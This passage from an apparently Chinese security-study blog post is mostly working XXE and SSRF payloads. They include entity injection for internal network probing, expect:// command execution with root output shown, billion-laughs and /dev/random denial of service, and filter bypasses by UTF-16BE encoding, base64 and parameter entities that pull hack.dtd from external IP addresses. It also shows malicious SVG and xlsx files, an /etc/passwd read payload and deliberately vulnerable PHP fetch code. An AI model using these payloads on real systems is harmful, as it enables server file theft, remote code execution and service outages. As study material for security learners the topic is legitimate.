<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li></ul></pre>
<p><a href="https://img2018.cnblogs.com/blog/1270588/202001/1270588-20200115235505350-206599067.png" rel="nofollow"><img src="https://i-blog.csdnimg.cn/blog_migrate/4eece71ebc15ed8b604ebb789ba498e6.png" alt="img"></a></p>
<h4><a name="t182"></a><a id="_2967"></a>内网探测</h4>
<p>和读文件差不多,只不过把URI改成内网机器地址</p>
<pre data-index="169" class="set-code-show prettyprint"><code class="prism language-xml has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token prolog"><?xml version="1.0" encoding="UTF-8"?></span>
<span class="token doctype"><span class="token punctuation"><!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">foo</span> <span class="token punctuation">[</span><span class="token internal-subset">
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>!ELEMENT</span> <span class="token attr-name">foo</span> <span class="token attr-name">ANY</span> <span class="token punctuation">></span></span>
<!ENTITY rabbit SYSTEM "http://127.0.0.1/1.txt" >
</span><span class="token punctuation">]</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>user</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>firstname</span><span class="token punctuation">></span></span><span class="token entity named-entity" title="&rabbit;">&rabbit;</span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>firstname</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>lastname</span><span class="token punctuation">></span></span>666<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>lastname</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>user</span><span class="token punctuation">></span></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li></ul></pre>
<h4><a name="t183"></a><a id="RCE_2980"></a>RCE</h4>
<p><a href="https://www.freebuf.com/articles/web/177979.html" rel="nofollow">XXE漏洞利用技巧:从XML到远程代码执行</a><br> 这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:</p>
<pre data-index="170" class="set-code-show prettyprint"><code class="prism language-xml has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token prolog"><?xml version="1.0"?></span>
<span class="token doctype"><span class="token punctuation"><!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">GVI</span> <span class="token punctuation">[</span><span class="token internal-subset"> <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>!ELEMENT</span> <span class="token attr-name">foo</span> <span class="token attr-name">ANY</span> <span class="token punctuation">></span></span>
<!ENTITY xxe SYSTEM "expect://id" ></span><span class="token punctuation">]</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>catalog</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>core</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>test101<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>author</span><span class="token punctuation">></span></span>John, Doe<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>author</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>title</span><span class="token punctuation">></span></span>I love XML<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>title</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>category</span><span class="token punctuation">></span></span>Computers<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>category</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>price</span><span class="token punctuation">></span></span>9.99<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>price</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>date</span><span class="token punctuation">></span></span>2018-10-01<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>date</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>description</span><span class="token punctuation">></span></span><span class="token entity named-entity" title="&yj;">&yj;</span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>description</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>core</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>catalog</span><span class="token punctuation">></span></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li></ul></pre>
<p>响应:</p>
<pre data-index="171" class="set-code-show prettyprint"><code class="prism language-smalltalk has-numbering" onclick="mdcp.signin(event)" style="position: unset;">{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h4><a name="t184"></a><a id="DOS_3007"></a>DOS</h4>
<p><a href="https://www.freebuf.com/vuls/194112.html" rel="nofollow">XXE萌新进阶全攻略</a></p>
<pre data-index="172" class="set-code-show prettyprint"><code class="prism language-xml has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token prolog"><?xml version="1.0"?></span>
<span class="token doctype"><span class="token punctuation"><!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">lolz</span> <span class="token punctuation">[</span><span class="token internal-subset">
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>!ENTITY</span> <span class="token attr-name">lol</span> <span class="token attr-name">"lol"</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>!ENTITY</span> <span class="token attr-name">lol2</span> <span class="token attr-name">"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>!ENTITY</span> <span class="token attr-name">lol3</span> <span class="token attr-name">"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>!ENTITY</span> <span class="token attr-name">lol4</span> <span class="token attr-name">"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>!ENTITY</span> <span class="token attr-name">lol5</span> <span class="token attr-name">"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>!ENTITY</span> <span class="token attr-name">lol6</span> <span class="token attr-name">"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>!ENTITY</span> <span class="token attr-name">lol7</span> <span class="token attr-name">"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>!ENTITY</span> <span class="token attr-name">lol8</span> <span class="token attr-name">"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>!ENTITY</span> <span class="token attr-name">lol9</span> <span class="token attr-name">"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"</span><span class="token punctuation">></span></span>
</span><span class="token punctuation">]</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>lolz</span><span class="token punctuation">></span></span><span class="token entity named-entity" title="&lol9;">&lol9;</span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>lolz</span><span class="token punctuation">></span></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li></ul></pre>
<p>此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。</p>
<p>如果 XML 解析器尝试使用<code>/dev/random</code>文件中的内容来替代实体,则下面的代码会使服务器(使用 UNIX 系统)崩溃。</p>
<pre data-index="173" class="set-code-show prettyprint"><code class="prism language-xml has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token prolog"><?xml version="1.0" encoding="ISO-8859-1"?></span>
<span class="token doctype"><span class="token punctuation"><!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">foo</span> <span class="token punctuation">[</span><span class="token internal-subset">
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>!ELEMENT</span> <span class="token attr-name">foo</span> <span class="token attr-name">ANY</span> <span class="token punctuation">></span></span>
<!ENTITY xxe SYSTEM "file:///dev/random" ></span><span class="token punctuation">]</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>foo</span><span class="token punctuation">></span></span><span class="token entity named-entity" title="&yj;">&yj;</span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>foo</span><span class="token punctuation">></span></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li></ul></pre>
<h3><a name="t185"></a><a id="_3039"></a>绕过</h3>
<h4><a name="t186"></a><a id="ENTITYSYSTEMfile_3041"></a><code>ENTITY``SYSTEM``file</code>等关键词被过滤</h4>
<p>使用编码方式绕过:UTF-16BE<br> <code>cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml</code></p>
<p>若http被过滤,可以用</p>
<h4><a name="t187"></a><a id="data_3048"></a>data://协议绕过</h4>
<pre data-index="174" class="set-code-show prettyprint"><code class="prism language-xml has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token prolog"><?xml version="1.0" ?></span>
<span class="token doctype"><span class="token punctuation"><!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">test</span> <span class="token punctuation">[</span><span class="token internal-subset">
<!ENTITY % a " <!ENTITY % b SYSTEM 'http://47.47.47.47:8200/hack.dtd'> ">
%a;
%b;
</span><span class="token punctuation">]</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>test</span><span class="token punctuation">></span></span><span class="token entity named-entity" title="&hhh;">&hhh;</span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>test</span><span class="token punctuation">></span></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li></ul></pre>
<h4><a name="t188"></a><a id="file_3060"></a>file://协议加文件上传</h4>
<pre data-index="175" class="set-code-show prettyprint"><code class="prism language-xml has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token prolog"><?xml version="1.0" ?></span>
<span class="token doctype"><span class="token punctuation"><!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">test</span> <span class="token punctuation">[</span><span class="token internal-subset">
<!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
</span><span class="token punctuation">]</span><span class="token punctuation">></span></span>
<span class="token comment"><!--上传文件--></span>
<!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li></ul></pre>
<h4><a name="t189"></a><a id="phpfilter_3072"></a>php://filter协议加文件上传</h4>
<pre data-index="176" class="set-code-show prettyprint"><code class="prism language-xml has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token prolog"><?xml version="1.0" ?></span>
<span class="token doctype"><span class="token punctuation"><!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">test</span> <span class="token punctuation">[</span><span class="token internal-subset">
<!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
</span><span class="token punctuation">]</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>test</span><span class="token punctuation">></span></span>
<span class="token entity named-entity" title="&hhh;">&hhh;</span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>test</span><span class="token punctuation">></span></span>
<span class="token comment"><!--上传文件--></span>
<!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li></ul></pre>
<pre data-index="177" class="set-code-show prettyprint"><code class="prism language-xml has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token prolog"><?xml version="1.0" ?></span>
<span class="token doctype"><span class="token punctuation"><!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">test</span> <span class="token punctuation">[</span><span class="token internal-subset">
<!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
</span><span class="token punctuation">]</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>test</span><span class="token punctuation">></span></span>
<span class="token entity named-entity" title="&hhh;">&hhh;</span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>test</span><span class="token punctuation">></span></span>
<span class="token comment"><!--上传文件--></span>
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li></ul></pre>
<h3><a name="t190"></a><a id="_3103"></a>利用</h3>
<h4><a name="t191"></a><a id="svg_3105"></a>svg</h4>
<pre data-index="178" class="set-code-show prettyprint"><code class="prism language-xml has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token prolog"><?xml version="1.0" encoding="UTF-8"?></span>
<span class="token doctype"><span class="token punctuation"><!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">note</span> <span class="token punctuation">[</span><span class="token internal-subset">
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
</span><span class="token punctuation">]</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>svg</span> <span class="token attr-name">height</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>100<span class="token punctuation">"</span></span> <span class="token attr-name">width</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>1000<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>text</span> <span class="token attr-name">x</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>10<span class="token punctuation">"</span></span> <span class="token attr-name">y</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>20<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token entity named-entity" title="&file;">&file;</span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>text</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>svg</span><span class="token punctuation">></span></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li></ul></pre>
<p>PS:从当前文件夹读取文件可以使用<code>/proc/self/cwd</code></p>
<h4><a name="t192"></a><a id="excel_3119"></a>excel</h4>
<p>用excel创建一个空白的xlsx,然后解压</p>
<pre data-index="179" class="set-code-show prettyprint"><code class="prism language-bash has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token function">mkdir</span> XXE <span class="token operator">&&</span> <span class="token builtin class-name">cd</span> XXE
<span class="token function">unzip</span> <span class="token punctuation">..</span>/XXE.xlsx
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre>
<p>将<code>[Content_Types].xml</code>改成恶意xml,再压缩回去:<code>zip -r ../poc.xlsx *</code></p>
<h2><a name="t193"></a><a id="CSRF___TODO_3130"></a>CSRF // TODO</h2>
<h2><a name="t194"></a><a id="SSRF_3134"></a>SSRF</h2>
<h3><a name="t195"></a><a id="_3136"></a>基础</h3>
<p><strong>容易出现SSRF的地方有:</strong></p>
<ol><li>社交分享功能:获取超链接的标题等内容进行显示</li><li>转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览</li><li>在线翻译:给网址翻译对应网页的内容</li><li>图片加载/下载:例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片</li><li>图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验</li><li>云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试</li><li>网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作</li><li>数据库内置功能:数据库的比如mongodb的copyDatabase函数</li><li>邮件系统:比如接收邮件服务器地址</li><li>编码处理、属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等</li><li>未公开的api实现以及其他扩展调用URL的功能:可以利用google语法加上这些关键字去寻找SSRF漏洞。一些的url中的关键字有:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……</li><li>从远程服务器请求资源</li></ol>
<h3><a name="t196"></a><a id="_3153"></a>应用</h3>
<ol><li>对外网、服务器所在内网、服务器本地进行端口扫描,获取一些服务的banner信息等。</li><li>攻击运行在内网或服务器本地的其他应用程序,如redis、mysql等。</li><li>对内网Web应用进行指纹识别,识别企业内部的资产信息。</li><li>攻击内外网的Web应用,主要是使用HTTP GET/POST请求就可以实现的攻击,如sql注入、文件上传等。</li><li>利用file协议读取服务器本地文件等。</li><li>进行跳板攻击等。</li></ol>
<h3><a name="t197"></a><a id="_3162"></a>相关函数和类</h3>
<ul><li>file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。</li><li>readfile():输出一个文件的内容。</li><li>fsockopen():打开一个网络连接或者一个Unix 套接字连接。</li><li>curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。</li><li>fopen():打开一个文件文件或者 URL。</li><li>…</li></ul>
<p>上述函数函数使用不当会造成SSRF漏洞。 此外,PHP原生类SoapClient在触发反序列化时可导致SSRF。</p>
<h4><a name="t198"></a><a id="file_get_contents_3173"></a>file_get_contents()</h4>
<p>构造类似<code>ssrf.php?url=../../../../../etc/passwd</code>的paylaod即可读取服务器本地的任意文件。</p>
<pre data-index="180" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">// ssrf.php</span>
<span class="token operator"><</span><span class="token operator">?</span><span class="token class-name type-declaration">php</span>
<span class="token variable">$url</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'url'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">;</span>
<span class="token keyword">echo</span> <span class="token function">file_get_contents</span><span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token operator">?</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li></ul></pre>
<h4><a name="t199"></a><a id="readfile_3185"></a>readfile()</h4>
<p>与file_get_contents()函数相似。</p>
<h4><a name="t200"></a><a id="fsockopen_3189"></a>fsockopen()</h4>
<p>构造<code>ssrf.php?url=www.baidu.com</code>即可成功触发ssrf并返回百度主页</p>
<pre data-index="181" class="set-code-hide prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">// ssrf.php</span>
<span class="token operator"><</span><span class="token operator">?</span><span class="token class-name type-declaration">php</span>
<span class="token variable">$host</span><span class="token operator">=</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'url'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token variable">$fp</span> <span class="token operator">=</span> <span class="token function">fsockopen</span><span class="token punctuation">(</span><span class="token variable">$host</span><span class="token punctuation">,</span> <span class="token number">80</span><span class="token punctuation">,</span> <span class="token variable">$errno</span><span class="token punctuation">,</span> <span class="token variable">$errstr</span><span class="token punctuation">,</span> <span class="token number">30</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token variable">$fp</span><span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span>
<span class="token keyword">echo</span> <span class="token string double-quoted-string">"<span class="token interpolation"><span class="token variable">$errstr</span></span> (<span class="token interpolation"><span class="token variable">$errno</span></span>)<br />\n"</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{<!-- --></span>
<span class="token variable">$out</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"GET / HTTP/1.1\r\n"</span><span class="token punctuation">;</span>
<span class="token variable">$out</span> <span class="token operator">.=</span> <span class="token string double-quoted-string">"Host: <span class="token interpolation"><span class="token variable">$host</span></span>\r\n"</span><span class="token punctuation">;</span>
<span class="token variable">$out</span> <span class="token operator">.=</span> <span class="token string double-quoted-string">"Connection: Close\r\n\r\n"</span><span class="token punctuation">;</span>
<span class="token function">fwrite</span><span class="token punctuation">(</span><span class="token variable">$fp</span><span class="token punctuation">,</span> <span class="token variable">$out</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">feof</span><span class="token punctuation">(</span><span class="token variable">$fp</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span>
<span class="token keyword">echo</span> <span class="token function">fgets</span><span class="token punctuation">(</span><span class="token variable">$fp</span><span class="token punctuation">,</span> <span class="token number">128</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token function">fclose</span><span class="token punctuation">(</span><span class="token variable">$fp</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token operator">?</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><div class="hide-preCode-box"><span class="hide-preCode-bt" data-report-view="{"spm":"1001.2101.3001.7365"}"><img class="look-more-preCode contentImg-no-view" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png" alt="" title=""></span></div><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li><li style="color: rgb(153, 153, 153);">16</li><li style="color: rgb(153, 153, 153);">17</li></ul></pre>
<h4><a name="t201"></a><a id="curl_exec_3213"></a>curl_exec()</h4>
<p>curl_init(url)函数初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。</p>
<p>测试代码:</p>
<pre data-index="182" class="set-code-hide prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">// ssrf.php
<?php
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init(); // 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
// $filename = './curled/'.rand().'.txt';
// file_put_contents($filename, $result);
echo $result;
}
?>
